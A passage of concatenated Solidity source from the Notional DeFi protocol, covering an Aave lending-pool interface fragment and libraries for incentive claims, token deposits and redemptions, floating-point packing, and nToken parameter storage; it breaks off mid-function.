) external;
/**
* @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned
* E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC
* @param asset The address of the underlying asset to withdraw
* @param amount The underlying amount to be withdrawn
* - Send the value type(uint256).max in order to withdraw the whole aToken balance
* @param to Address that will receive the underlying, same as msg.sender if the user
* wants to receive it on his own wallet, or a different address if the beneficiary is a
* different wallet
* @return The final amount withdrawn
**/
function withdraw(
address asset,
uint256 amount,
address to
) external returns (uint256);
/**
* @dev Returns the normalized income normalized income of the reserve
* @param asset The address of the underlying asset of the reserve
* @return The reserve's normalized income
*/
function getReserveNormalizedIncome(address asset) external view returns (uint256);
/**
* @dev Returns the state and configuration of the reserve
* @param asset The address of the underlying asset of the reserve
* @return The state of the reserve
**/
function getReserveData(address asset) external view returns (ReserveData memory);
// refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties.
struct ReserveData {
//stores the reserve configuration
ReserveConfigurationMap configuration;
//the liquidity index. Expressed in ray
uint128 liquidityIndex;
//variable borrow index. Expressed in ray
uint128 variableBorrowIndex;
//the current supply rate. Expressed in ray
uint128 currentLiquidityRate;
//the current variable borrow rate. Expressed in ray
uint128 currentVariableBorrowRate;
//the current stable borrow rate. Expressed in ray
uint128 currentStableBorrowRate;
uint40 lastUpdateTimestamp;
//tokens addresses
address aTokenAddress;
address stableDebtTokenAddress;
address variableDebtTokenAddress;
//address of the interest rate strategy
address interestRateStrategyAddress;
//the id of the reserve. Represents the position in the list of the active reserves
uint8 id;
}
struct ReserveConfigurationMap {
//bit 0-15: LTV
//bit 16-31: Liq. threshold
//bit 32-47: Liq. bonus
//bit 48-55: Decimals
//bit 56: Reserve is active
//bit 57: reserve is frozen
//bit 58: borrowing is enabled
//bit 59: stable rate borrowing enabled
//bit 60-63: reserved
//bit 64-79: reserve factor
uint256 data;
}
struct UserConfigurationMap {
uint256 data;
}
enum InterestRateMode {NONE, STABLE, VARIABLE}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "./TokenHandler.sol";
import "../nToken/nTokenHandler.sol";
import "../nToken/nTokenSupply.sol";
import "../../math/SafeInt256.sol";
import "../../external/MigrateIncentives.sol";
import "../../../interfaces/notional/IRewarder.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library Incentives {
using SafeMath for uint256;
using SafeInt256 for int256;
/// @notice Calculates the total incentives to claim including those claimed under the previous
/// less accurate calculation. Once an account is migrated it will only claim incentives under
/// the more accurate regime
function calculateIncentivesToClaim(
BalanceState memory balanceState,
address tokenAddress,
uint256 accumulatedNOTEPerNToken,
uint256 finalNTokenBalance
) internal view returns (uint256 incentivesToClaim) {
if (balanceState.lastClaimTime > 0) {
// If lastClaimTime is set then the account had incentives under the
// previous regime. Will calculate the final amount of incentives to claim here
// under the previous regime.
incentivesToClaim = MigrateIncentives.migrateAccountFromPreviousCalculation(
tokenAddress,
balanceState.storedNTokenBalance.toUint(),
balanceState.lastClaimTime,
// In this case the accountIncentiveDebt is stored as lastClaimIntegralSupply under
// the old calculation
balanceState.accountIncentiveDebt
);
// This marks the account as migrated and lastClaimTime will no longer be used
balanceState.lastClaimTime = 0;
// This value will be set immediately after this, set this to zero so that the calculation
// establishes a new baseline.
balanceState.accountIncentiveDebt = 0;
}
// If an account was migrated then they have no accountIncentivesDebt and should accumulate
// incentives based on their share since the new regime calculation started.
// If an account is just initiating their nToken balance then storedNTokenBalance will be zero
// and they will have no incentives to claim.
// This calculation uses storedNTokenBalance which is the balance of the account up until this point,
// this is important to ensure that the account does not claim for nTokens that they will mint or
// redeem on a going forward basis.
// The calculation below has the following precision:
// storedNTokenBalance (INTERNAL_TOKEN_PRECISION)
// MUL accumulatedNOTEPerNToken (INCENTIVE_ACCUMULATION_PRECISION)
// DIV INCENTIVE_ACCUMULATION_PRECISION
// = INTERNAL_TOKEN_PRECISION - (accountIncentivesDebt) INTERNAL_TOKEN_PRECISION
incentivesToClaim = incentivesToClaim.add(
balanceState.storedNTokenBalance.toUint()
.mul(accumulatedNOTEPerNToken)
.div(Constants.INCENTIVE_ACCUMULATION_PRECISION)
.sub(balanceState.accountIncentiveDebt)
);
// Update accountIncentivesDebt denominated in INTERNAL_TOKEN_PRECISION which marks the portion
// of the accumulatedNOTE that the account no longer has a claim over. Use the finalNTokenBalance
// here instead of storedNTokenBalance to mark the overall incentives claim that the account
// does not have a claim over. We do not aggregate this value with the previous accountIncentiveDebt
// because accumulatedNOTEPerNToken is already an aggregated value.
// The calculation below has the following precision:
// finalNTokenBalance (INTERNAL_TOKEN_PRECISION)
// MUL accumulatedNOTEPerNToken (INCENTIVE_ACCUMULATION_PRECISION)
// DIV INCENTIVE_ACCUMULATION_PRECISION
// = INTERNAL_TOKEN_PRECISION
balanceState.accountIncentiveDebt = finalNTokenBalance
.mul(accumulatedNOTEPerNToken)
.div(Constants.INCENTIVE_ACCUMULATION_PRECISION);
}
/// @notice Incentives must be claimed every time nToken balance changes.
/// @dev BalanceState.accountIncentiveDebt is updated in place here
function claimIncentives(
BalanceState memory balanceState,
address account,
uint256 finalNTokenBalance
) internal returns (uint256 incentivesToClaim) {
uint256 blockTime = block.timestamp;
address tokenAddress = nTokenHandler.nTokenAddress(balanceState.currencyId);
// This will updated the nToken storage and return what the accumulatedNOTEPerNToken
// is up until this current block time in 1e18 precision
uint256 accumulatedNOTEPerNToken = nTokenSupply.changeNTokenSupply(
tokenAddress,
balanceState.netNTokenSupplyChange,
blockTime
);
incentivesToClaim = calculateIncentivesToClaim(
balanceState,
tokenAddress,
accumulatedNOTEPerNToken,
finalNTokenBalance
);
// If a secondary incentive rewarder is set, then call it
IRewarder rewarder = nTokenHandler.getSecondaryRewarder(tokenAddress);
if (address(rewarder) != address(0)) {
rewarder.claimRewards(
account,
balanceState.currencyId,
// When this method is called from finalize, the storedNTokenBalance has not
// been updated to finalNTokenBalance yet so this is the balance before the change.
balanceState.storedNTokenBalance.toUint(),
finalNTokenBalance,
// When the rewarder is called, totalSupply has been updated already so may need to
// adjust its calculation using the net supply change figure here. Supply change
// may be zero when nTokens are transferred.
balanceState.netNTokenSupplyChange,
incentivesToClaim
);
}
if (incentivesToClaim > 0) TokenHandler.transferIncentive(account, incentivesToClaim);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../../math/SafeInt256.sol";
import "../../global/LibStorage.sol";
import "../../global/Types.sol";
import "../../global/Constants.sol";
import "../../global/Deployments.sol";
import "./protocols/AaveHandler.sol";
import "./protocols/CompoundHandler.sol";
import "./protocols/GenericToken.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/// @notice Handles all external token transfers and events
library TokenHandler {
using SafeInt256 for int256;
using SafeMath for uint256;
function setMaxCollateralBalance(uint256 currencyId, uint72 maxCollateralBalance) internal {
mapping(uint256 => mapping(bool => TokenStorage)) storage store = LibStorage.getTokenStorage();
TokenStorage storage tokenStorage = store[currencyId][false];
tokenStorage.maxCollateralBalance = maxCollateralBalance;
}
function getAssetToken(uint256 currencyId) internal view returns (Token memory) {
return _getToken(currencyId, false);
}
function getUnderlyingToken(uint256 currencyId) internal view returns (Token memory) {
return _getToken(currencyId, true);
}
/// @notice Gets token data for a particular currency id, if underlying is set to true then returns
/// the underlying token. (These may not always exist)
function _getToken(uint256 currencyId, bool underlying) private view returns (Token memory) {
mapping(uint256 => mapping(bool => TokenStorage)) storage store = LibStorage.getTokenStorage();
TokenStorage storage tokenStorage = store[currencyId][underlying];
return
Token({
tokenAddress: tokenStorage.tokenAddress,
hasTransferFee: tokenStorage.hasTransferFee,
// No overflow, restricted on storage
decimals: int256(10**tokenStorage.decimalPlaces),
tokenType: tokenStorage.tokenType,
maxCollateralBalance: tokenStorage.maxCollateralBalance
});
}
/// @notice Sets a token for a currency id.
function setToken(
uint256 currencyId,
bool underlying,
TokenStorage memory tokenStorage
) internal {
mapping(uint256 => mapping(bool => TokenStorage)) storage store = LibStorage.getTokenStorage();
if (tokenStorage.tokenType == TokenType.Ether && currencyId == Constants.ETH_CURRENCY_ID) {
// Hardcoded parameters for ETH just to make sure we don't get it wrong.
TokenStorage storage ts = store[currencyId][true];
ts.tokenAddress = address(0);
ts.hasTransferFee = false;
ts.tokenType = TokenType.Ether;
ts.decimalPlaces = Constants.ETH_DECIMAL_PLACES;
ts.maxCollateralBalance = 0;
return;
}
// Check token address
require(tokenStorage.tokenAddress != address(0), "TH: address is zero");
// Once a token is set we cannot override it. In the case that we do need to do change a token address
// then we should explicitly upgrade this method to allow for a token to be changed.
Token memory token = _getToken(currencyId, underlying);
require(
token.tokenAddress == tokenStorage.tokenAddress || token.tokenAddress == address(0),
"TH: token cannot be reset"
);
require(0 < tokenStorage.decimalPlaces
&& tokenStorage.decimalPlaces <= Constants.MAX_DECIMAL_PLACES, "TH: invalid decimals");
// Validate token type
require(tokenStorage.tokenType != TokenType.Ether); // dev: ether can only be set once
if (underlying) {
// Underlying tokens cannot have max collateral balances, the contract only has a balance temporarily
// during mint and redeem actions.
require(tokenStorage.maxCollateralBalance == 0); // dev: underlying cannot have max collateral balance
require(tokenStorage.tokenType == TokenType.UnderlyingToken); // dev: underlying token inconsistent
} else {
require(tokenStorage.tokenType != TokenType.UnderlyingToken); // dev: underlying token inconsistent
}
if (tokenStorage.tokenType == TokenType.cToken || tokenStorage.tokenType == TokenType.aToken) {
// Set the approval for the underlying so that we can mint cTokens or aTokens
Token memory underlyingToken = getUnderlyingToken(currencyId);
// cTokens call transfer from the tokenAddress, but aTokens use the LendingPool
// to initiate all transfers
address approvalAddress = tokenStorage.tokenType == TokenType.cToken ?
tokenStorage.tokenAddress :
address(LibStorage.getLendingPool().lendingPool);
// ERC20 tokens should return true on success for an approval, but Tether
// does not return a value here so we use the NonStandard interface here to
// check that the approval was successful.
IEIP20NonStandard(underlyingToken.tokenAddress).approve(
approvalAddress,
type(uint256).max
);
GenericToken.checkReturnCode();
}
store[currencyId][underlying] = tokenStorage;
}
/**
* @notice If a token is mintable then will mint it. At this point we expect to have the underlying
* balance in the contract already.
* @param assetToken the asset token to mint
* @param underlyingAmountExternal the amount of underlying to transfer to the mintable token
* @return the amount of asset tokens minted, will always be a positive integer
*/
function mint(Token memory assetToken, uint16 currencyId, uint256 underlyingAmountExternal) internal returns (int256) {
// aTokens return the principal plus interest value when calling the balanceOf selector. We cannot use this
// value in internal accounting since it will not allow individual users to accrue aToken interest. Use the
// scaledBalanceOf function call instead for internal accounting.
bytes4 balanceOfSelector = assetToken.tokenType == TokenType.aToken ?
AaveHandler.scaledBalanceOfSelector :
GenericToken.defaultBalanceOfSelector;
uint256 startingBalance = GenericToken.checkBalanceViaSelector(assetToken.tokenAddress, address(this), balanceOfSelector);
if (assetToken.tokenType == TokenType.aToken) {
Token memory underlyingToken = getUnderlyingToken(currencyId);
AaveHandler.mint(underlyingToken, underlyingAmountExternal);
} else if (assetToken.tokenType == TokenType.cToken) {
CompoundHandler.mint(assetToken, underlyingAmountExternal);
} else if (assetToken.tokenType == TokenType.cETH) {
CompoundHandler.mintCETH(assetToken);
} else {
revert(); // dev: non mintable token
}
uint256 endingBalance = GenericToken.checkBalanceViaSelector(assetToken.tokenAddress, address(this), balanceOfSelector);
// This is the starting and ending balance in external precision
return SafeInt256.toInt(endingBalance.sub(startingBalance));
}
/**
* @notice If a token is redeemable to underlying will redeem it and transfer the underlying balance
* to the account
* @param assetToken asset token to redeem
* @param currencyId the currency id of the token
* @param account account to transfer the underlying to
* @param assetAmountExternal the amount to transfer in asset token denomination and external precision
* @return the actual amount of underlying tokens transferred. this is used as a return value back to the
* user, is not used for internal accounting purposes
*/
function redeem(
Token memory assetToken,
uint256 currencyId,
address account,
uint256 assetAmountExternal
) internal returns (int256) {
uint256 transferAmount;
if (assetToken.tokenType == TokenType.cETH) {
transferAmount = CompoundHandler.redeemCETH(assetToken, account, assetAmountExternal);
} else {
Token memory underlyingToken = getUnderlyingToken(currencyId);
if (assetToken.tokenType == TokenType.aToken) {
transferAmount = AaveHandler.redeem(underlyingToken, account, assetAmountExternal);
} else if (assetToken.tokenType == TokenType.cToken) {
transferAmount = CompoundHandler.redeem(assetToken, underlyingToken, account, assetAmountExternal);
} else {
revert(); // dev: non redeemable token
}
}
// Use the negative value here to signify that assets have left the protocol
return SafeInt256.toInt(transferAmount).neg();
}
/// @notice Handles transfers into and out of the system denominated in the external token decimal
/// precision.
function transfer(
Token memory token,
address account,
uint256 currencyId,
int256 netTransferExternal
) internal returns (int256 actualTransferExternal) {
// This will be true in all cases except for deposits where the token has transfer fees. For
// aTokens this value is set before convert from scaled balances to principal plus interest
actualTransferExternal = netTransferExternal;
if (token.tokenType == TokenType.aToken) {
Token memory underlyingToken = getUnderlyingToken(currencyId);
// aTokens need to be converted when we handle the transfer since the external balance format
// is not the same as the internal balance format that we use
netTransferExternal = AaveHandler.convertFromScaledBalanceExternal(
underlyingToken.tokenAddress,
netTransferExternal
);
}
if (netTransferExternal > 0) {
// Deposits must account for transfer fees.
int256 netDeposit = _deposit(token, account, uint256(netTransferExternal));
// If an aToken has a transfer fee this will still return a balance figure
// in scaledBalanceOf terms due to the selector
if (token.hasTransferFee) actualTransferExternal = netDeposit;
} else if (token.tokenType == TokenType.Ether) {
// netTransferExternal can only be negative or zero at this point
GenericToken.transferNativeTokenOut(account, uint256(netTransferExternal.neg()));
} else {
GenericToken.safeTransferOut(
token.tokenAddress,
account,
// netTransferExternal is zero or negative here
uint256(netTransferExternal.neg())
);
}
}
/// @notice Handles token deposits into Notional. If there is a transfer fee then we must
/// calculate the net balance after transfer. Amounts are denominated in the destination token's
/// precision.
function _deposit(
Token memory token,
address account,
uint256 amount
) private returns (int256) {
uint256 startingBalance;
uint256 endingBalance;
bytes4 balanceOfSelector = token.tokenType == TokenType.aToken ?
AaveHandler.scaledBalanceOfSelector :
GenericToken.defaultBalanceOfSelector;
if (token.hasTransferFee) {
startingBalance = GenericToken.checkBalanceViaSelector(token.tokenAddress, address(this), balanceOfSelector);
}
GenericToken.safeTransferIn(token.tokenAddress, account, amount);
if (token.hasTransferFee || token.maxCollateralBalance > 0) {
// If aTokens have a max collateral balance then it will be applied against the scaledBalanceOf. This is probably
// the correct behavior because if collateral accrues interest over time we should not somehow go over the
// maxCollateralBalance due to the passage of time.
endingBalance = GenericToken.checkBalanceViaSelector(token.tokenAddress, address(this), balanceOfSelector);
}
if (token.maxCollateralBalance > 0) {
int256 internalPrecisionBalance = convertToInternal(token, SafeInt256.toInt(endingBalance));
// Max collateral balance is stored as uint72, no overflow
require(internalPrecisionBalance <= SafeInt256.toInt(token.maxCollateralBalance)); // dev: over max collateral balance
}
// Math is done in uint inside these statements and will revert on negative
if (token.hasTransferFee) {
return SafeInt256.toInt(endingBalance.sub(startingBalance));
} else {
return SafeInt256.toInt(amount);
}
}
function convertToInternal(Token memory token, int256 amount) internal pure returns (int256) {
// If token decimals > INTERNAL_TOKEN_PRECISION:
// on deposit: resulting dust will accumulate to protocol
// on withdraw: protocol may lose dust amount. However, withdraws are only calculated based
// on a conversion from internal token precision to external token precision so therefore dust
// amounts cannot be specified for withdraws.
// If token decimals < INTERNAL_TOKEN_PRECISION then this will add zeros to the
// end of amount and will not result in dust.
if (token.decimals == Constants.INTERNAL_TOKEN_PRECISION) return amount;
return amount.mul(Constants.INTERNAL_TOKEN_PRECISION).div(token.decimals);
}
function convertToExternal(Token memory token, int256 amount) internal pure returns (int256) {
if (token.decimals == Constants.INTERNAL_TOKEN_PRECISION) return amount;
// If token decimals > INTERNAL_TOKEN_PRECISION then this will increase amount
// by adding a number of zeros to the end and will not result in dust.
// If token decimals < INTERNAL_TOKEN_PRECISION:
// on deposit: Deposits are specified in external token precision and there is no loss of precision when
// tokens are converted from external to internal precision
// on withdraw: this calculation will round down such that the protocol retains the residual cash balance
return amount.mul(token.decimals).div(Constants.INTERNAL_TOKEN_PRECISION);
}
function transferIncentive(address account, uint256 tokensToTransfer) internal {
GenericToken.safeTransferOut(Deployments.NOTE_TOKEN_ADDRESS, account, tokensToTransfer);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
import "./Bitmap.sol";
/**
* Packs an uint value into a "floating point" storage slot. Used for storing
* lastClaimIntegralSupply values in balance storage. For these values, we don't need
* to maintain exact precision but we don't want to be limited by storage size overflows.
*
* A floating point value is defined by the 48 most significant bits and an 8 bit number
* of bit shifts required to restore its precision. The unpacked value will always be less
* than the packed value with a maximum absolute loss of precision of (2 ** bitShift) - 1.
*/
library FloatingPoint56 {
function packTo56Bits(uint256 value) internal pure returns (uint56) {
uint256 bitShift;
// If the value is over the uint48 max value then we will shift it down
// given the index of the most significant bit. We store this bit shift
// in the least significant byte of the 56 bit slot available.
if (value > type(uint48).max) bitShift = (Bitmap.getMSB(value) - 47);
uint256 shiftedValue = value >> bitShift;
return uint56((shiftedValue << 8) | bitShift);
}
function unpackFrom56Bits(uint256 value) internal pure returns (uint256) {
// The least significant 8 bits will be the amount to bit shift
uint256 bitShift = uint256(uint8(value));
return ((value >> 8) << bitShift);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "./nTokenSupply.sol";
import "../markets/CashGroup.sol";
import "../markets/AssetRate.sol";
import "../portfolio/PortfolioHandler.sol";
import "../balances/BalanceHandler.sol";
import "../../global/LibStorage.sol";
import "../../math/SafeInt256.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library nTokenHandler {
using SafeInt256 for int256;
/// @dev Mirror of the value in LibStorage, solidity compiler does not allow assigning
/// two constants to each other.
uint256 private constant NUM_NTOKEN_MARKET_FACTORS = 14;
/// @notice Returns an account context object that is specific to nTokens.
function getNTokenContext(address tokenAddress)
internal
view
returns (
uint16 currencyId,
uint256 incentiveAnnualEmissionRate,
uint256 lastInitializedTime,
uint8 assetArrayLength,
bytes5 parameters
)
{
mapping(address => nTokenContext) storage store = LibStorage.getNTokenContextStorage();
nTokenContext storage context = store[tokenAddress];
currencyId = context.currencyId;
incentiveAnnualEmissionRate = context.incentiveAnnualEmissionRate;
lastInitializedTime = context.lastInitializedTime;
assetArrayLength = context.assetArrayLength;
parameters = context.nTokenParameters;
}
/// @notice Returns the nToken token address for a given currency
function nTokenAddress(uint256 currencyId) internal view returns (address tokenAddress) {
mapping(uint256 => address) storage store = LibStorage.getNTokenAddressStorage();
return store[currencyId];
}
/// @notice Called by governance to set the nToken token address and its reverse lookup. Cannot be
/// reset once this is set.
function setNTokenAddress(uint16 currencyId, address tokenAddress) internal {
mapping(uint256 => address) storage addressStore = LibStorage.getNTokenAddressStorage();
require(addressStore[currencyId] == address(0), "PT: token address exists");
mapping(address => nTokenContext) storage contextStore = LibStorage.getNTokenContextStorage();
nTokenContext storage context = contextStore[tokenAddress];
require(context.currencyId == 0, "PT: currency exists");
// This will initialize all other context slots to zero
context.currencyId = currencyId;
addressStore[currencyId] = tokenAddress;
}
/// @notice Set nToken token collateral parameters
function setNTokenCollateralParameters(
address tokenAddress,
uint8 residualPurchaseIncentive10BPS,
uint8 pvHaircutPercentage,
uint8 residualPurchaseTimeBufferHours,
uint8 cashWithholdingBuffer10BPS,
uint8 liquidationHaircutPercentage
) internal {
mapping(address => nTokenContext) storage store = LibStorage.getNTokenContextStorage();
nTokenContext storage context = store[tokenAddress];
require(liquidationHaircutPercentage <= Constants.PERCENTAGE_DECIMALS, "Invalid haircut");
// The pv haircut percentage must be less than the liquidation percentage or else liquidators will not
// get profit for liquidating nToken.
require(pvHaircutPercentage < liquidationHaircutPercentage, "Invalid pv haircut");
// Ensure that the cash withholding buffer is greater than the residual purchase incentive or
// the nToken may not have enough cash to pay accounts to buy its negative ifCash
require(residualPurchaseIncentive10BPS <= cashWithholdingBuffer10BPS, "Invalid discounts");
bytes5 parameters =
(bytes5(uint40(residualPurchaseIncentive10BPS)) |
(bytes5(uint40(pvHaircutPercentage)) << 8) |
(bytes5(uint40(residualPurchaseTimeBufferHours)) << 16) |
(bytes5(uint40(cashWithholdingBuffer10BPS)) << 24) |
(bytes5(uint40(liquidationHaircutPercentage)) << 32));
// Set the parameters
context.nTokenParameters = parameters;
}
/// @notice Sets a secondary rewarder contract on an nToken so that incentives can come from a different
/// contract, aside from the native NOTE token incentives.
function setSecondaryRewarder(
uint16 currencyId,
IRewarder rewarder
) internal {
address tokenAddress = nTokenAddress(currencyId);
// nToken must exist for a secondary rewarder
require(tokenAddress != address(0));
mapping(address => nTokenContext) storage store = LibStorage.getNTokenContextStorage();
nTokenContext storage context = store[tokenAddress];
// Setting the rewarder to address(0) will disable it. We use a context setting here so that
// we can save a storage read before getting the rewarder
context.hasSecondaryRewarder = (address(rewarder) != address(0));
LibStorage.getSecondaryIncentiveRewarder()[tokenAddress] = rewarder;
}
/// @notice Returns the secondary rewarder if it is set
function getSecondaryRewarder(address tokenAddress) internal view returns (IRewarder) {
mapping(address => nTokenContext) storage store = LibStorage.getNTokenContextStorage();
nTokenContext storage context = store[tokenAddress];
if (context.hasSecondaryRewarder) {
return LibStorage.getSecondaryIncentiveRewarder()[tokenAddress];
} else {
return IRewarder(address(0));
}
}
function setArrayLengthAndInitializedTime(
address tokenAddress,
uint8 arrayLength,
uint256 lastInitializedTime
) internal {
require(lastInitializedTime >= 0 && uint256(lastInitializedTime) < type(uint32).max); // dev: next settle time overflow
mapping(address => nTokenContext) storage store = LibStorage.getNTokenContextStorage();
nTokenContext storage context = store[tokenAddress];
context.lastInitializedTime = uint32(lastInitializedTime);
context.assetArrayLength = arrayLength;
}
/// @notice Returns the array of deposit shares and leverage thresholds for nTokens
function getDepositParameters(uint256 currencyId, uint256 maxMarketIndex)
internal
view
returns (int256[] memory depositShares, int256[] memory leverageThresholds)
{
mapping(uint256 => uint32[NUM_NTOKEN_MARKET_FACTORS]) storage store = LibStorage.getNTokenDepositStorage();
uint32[NUM_NTOKEN_MARKET_FACTORS] storage depositParameters = store[currencyId];
(depositShares, leverageThresholds) = _getParameters(depositParameters, maxMarketIndex, false);
}
/// @notice Sets the deposit parameters
/// @dev We pack the values in alternating between the two parameters into either one or two
// storage slots depending on the number of markets. This is to save storage reads when we use the parameters.
function setDepositParameters(
uint256 currencyId,
uint32[] calldata depositShares,
uint32[] calldata leverageThresholds
) internal {
require(
depositShares.length <= Constants.MAX_TRADED_MARKET_INDEX,
"PT: deposit share length"
);
require(depositShares.length == leverageThresholds.length, "PT: leverage share length");
uint256 shareSum;
for (uint256 i; i < depositShares.length; i++) {
// This cannot overflow in uint 256 with 9 max slots
shareSum = shareSum + depositShares[i];
require(
leverageThresholds[i] > 0 && leverageThresholds[i] < Constants.RATE_PRECISION,
"PT: leverage threshold"
);
}
// Total deposit share must add up to 100%
require(shareSum == uint256(Constants.DEPOSIT_PERCENT_BASIS), "PT: deposit shares sum");
mapping(uint256 => uint32[NUM_NTOKEN_MARKET_FACTORS]) storage store = LibStorage.getNTokenDepositStorage();
uint32[NUM_NTOKEN_MARKET_FACTORS] storage depositParameters = store[currencyId];
_setParameters(depositParameters, depositShares, leverageThresholds);
}
/// @notice Sets the initialization parameters for the markets, these are read only when markets
/// are initialized
function setInitializationParameters(
uint256 currencyId,
uint32[] calldata annualizedAnchorRates,
uint32[] calldata proportions
) internal {
require(annualizedAnchorRates.length <= Constants.MAX_TRADED_MARKET_INDEX, "PT: annualized anchor rates length");
require(proportions.length == annualizedAnchorRates.length, "PT: proportions length");
for (uint256 i; i < proportions.length; i++) {
// Proportions must be between zero and the rate precision
require(annualizedAnchorRates[i] > 0, "NT: anchor rate zero");
require(
proportions[i] > 0 && proportions[i] < Constants.RATE_PRECISION,
"PT: invalid proportion"
);
}
mapping(uint256 => uint32[NUM_NTOKEN_MARKET_FACTORS]) storage store = LibStorage.getNTokenInitStorage();
uint32[NUM_NTOKEN_MARKET_FACTORS] storage initParameters = store[currencyId];
_setParameters(initParameters, annualizedAnchorRates, proportions);
}
/// @notice Returns the array of initialization parameters for a given currency.
function getInitializationParameters(uint256 currencyId, uint256 maxMarketIndex)
internal
view
returns (int256[] memory annualizedAnchorRates, int256[] memory proportions)
{
mapping(uint256 => uint32[NUM_NTOKEN_MARKET_FACTORS]) storage store = LibStorage.getNTokenInitStorage();
uint32[NUM_NTOKEN_MARKET_FACTORS] storage initParameters = store[currencyId];
(annualizedAnchorRates, proportions) = _getParameters(initParameters, maxMarketIndex, true);
}
function _getParameters(
uint32[NUM_NTOKEN_MARKET_FACTORS] storage slot,
uint256 maxMarketIndex,
bool noUnset
) private view returns (int256[] memory, int256[] memory) {
uint256 index = 0;
int256[] memory array1 = new int256[](maxMarketIndex);
int256[] memory array2 = new int256[](maxMarketIndex);
for (uint256 i; i < maxMarketIndex; i++) {
array1[i] = slot[index];
index++;
array2[i] = slot[index];
index++;
if (noUnset) {
require(array1[i] > 0 && array2[i] > 0, "PT: init value zero");
}
}
return (array1, array2);
}
function _setParameters(
uint32[NUM_NTOKEN_MARKET_FACTORS] storage slot,
uint32[] calldata array1,
uint32[] calldata array2
) private {
uint256 index = 0;
for (uint256 i = 0; i < array1.length; i++) {
slot[index] = array1[i];
index++;
slot[index] = array2[i];
index++;
}
}
function loadNTokenPortfolioNoCashGroup(nTokenPortfolio memory nToken, uint16 currencyId)
internal
view
{
nToken.tokenAddress = nTokenAddress(currencyId);
// prettier-ignore
(
/* currencyId */,
/* incentiveRate */,
uint256 lastInitializedTime,
uint8 assetArrayLength,
bytes5 parameters
) = getNTokenContext(nToken.tokenAddress);
// prettier-ignore
(
uint256 totalSupply,
/* accumulatedNOTEPerNToken */,
/* lastAccumulatedTime */
) = nTokenSupply.getStoredNTokenSupplyFactors(nToken.tokenAddress);
nToken.lastInitializedTime = lastInitializedTime;
nToken.totalSupply = int256(totalSupply);
nToken.parameters = parameters;
nToken.portfolioState = PortfolioHandler.buildPortfolioState(
nToken.tokenAddress,
assetArrayLength,
0
);
// prettier-ignore
(
nToken.cashBalance,
/* nTokenBalance */,
/* lastClaimTime */,
/* accountIncentiveDebt */
) = BalanceHandler.getBalanceStorage(nToken.tokenAddress, currencyId);
}
/// @notice Uses buildCashGroupStateful
function loadNTokenPortfolioStateful(nTokenPortfolio memory nToken, uint16 currencyId)
internal
{
loadNTokenPortfolioNoCashGroup(nToken, currencyId);
nToken.cashGroup = CashGroup.buildCashGroupStateful(currencyId);
}
/// @notice Uses buildCashGroupView
function loadNTokenPortfolioView(nTokenPortfolio memory nToken, uint16 currencyId)
internal
view
{
loadNTokenPortfolioNoCashGroup(nToken, currencyId);
nToken.cashGroup = CashGroup.buildCashGroupView(currencyId);
}
/// @notice Returns the next settle time for the nToken which is 1 quarter away
function getNextSettleTime(nTokenPortfolio memory nToken) internal pure returns (uint256) {
if (nToken.lastInitializedTime == 0) return 0;
return DateTime.getReferenceTime(nToken.lastInitializedTime) + Constants.QUARTER;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "./nTokenHandler.sol";
import "../../global/LibStorage.sol";
import "../../math/SafeInt256.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library nTokenSupply {
using SafeInt256 for int256;
using SafeMath for uint256;
/// @notice Retrieves stored nToken supply and related factors. Do not use accumulatedNOTEPerNToken for calculating
/// incentives! Use `getUpdatedAccumulatedNOTEPerNToken` instead.
function getStoredNTokenSupplyFactors(address tokenAddress)
internal
view
returns (
uint256 totalSupply,
uint256 accumulatedNOTEPerNToken,
uint256 lastAccumulatedTime
)
{
mapping(address => nTokenTotalSupplyStorage) storage store = LibStorage.getNTokenTotalSupplyStorage();
nTokenTotalSupplyStorage storage nTokenStorage = store[tokenAddress];
totalSupply = nTokenStorage.totalSupply;
// NOTE: DO NOT USE THIS RETURNED VALUE FOR CALCULATING INCENTIVES. The accumulatedNOTEPerNToken
// must be updated given the block time. Use `getUpdatedAccumulatedNOTEPerNToken` instead
accumulatedNOTEPerNToken = nTokenStorage.accumulatedNOTEPerNToken;
lastAccumulatedTime = nTokenStorage.lastAccumulatedTime;
}
/// @notice Returns the updated accumulated NOTE per nToken for calculating incentives
function getUpdatedAccumulatedNOTEPerNToken(address tokenAddress, uint256 blockTime)
internal view
returns (
uint256 totalSupply,
uint256 accumulatedNOTEPerNToken,
uint256 lastAccumulatedTime
)
{
(
totalSupply,
accumulatedNOTEPerNToken,
lastAccumulatedTime
) = getStoredNTokenSupplyFactors(tokenAddress);
// nToken totalSupply is never allowed to drop to zero but we check this here to avoid
// divide by zero errors during initialization. Also ensure that lastAccumulatedTime is not
// zero to avoid a massive accumulation amount on initialization.
if (blockTime > lastAccumulatedTime && lastAccumulatedTime > 0 && totalSupply > 0) {
// prettier-ignore
(
/* currencyId */,
uint256 emissionRatePerYear,
/* initializedTime */,
/* assetArrayLength */,
/* parameters */
) = nTokenHandler.getNTokenContext(tokenAddress);
uint256 additionalNOTEAccumulatedPerNToken = _calculateAdditionalNOTE(
// Emission rate is denominated in whole tokens, scale to 1e8 decimals here
emissionRatePerYear.mul(uint256(Constants.INTERNAL_TOKEN_PRECISION)),
// Time since last accumulation (overflow checked above)
blockTime - lastAccumulatedTime,
totalSupply
);
accumulatedNOTEPerNToken = accumulatedNOTEPerNToken.add(additionalNOTEAccumulatedPerNToken);
require(accumulatedNOTEPerNToken < type(uint128).max); // dev: accumulated NOTE overflow
}
}
/// @notice additionalNOTEPerNToken accumulated since last accumulation time in 1e18 precision
function _calculateAdditionalNOTE(
uint256 emissionRatePerYear,
uint256 timeSinceLastAccumulation,
uint256 totalSupply
)
private
pure
returns (uint256)
{
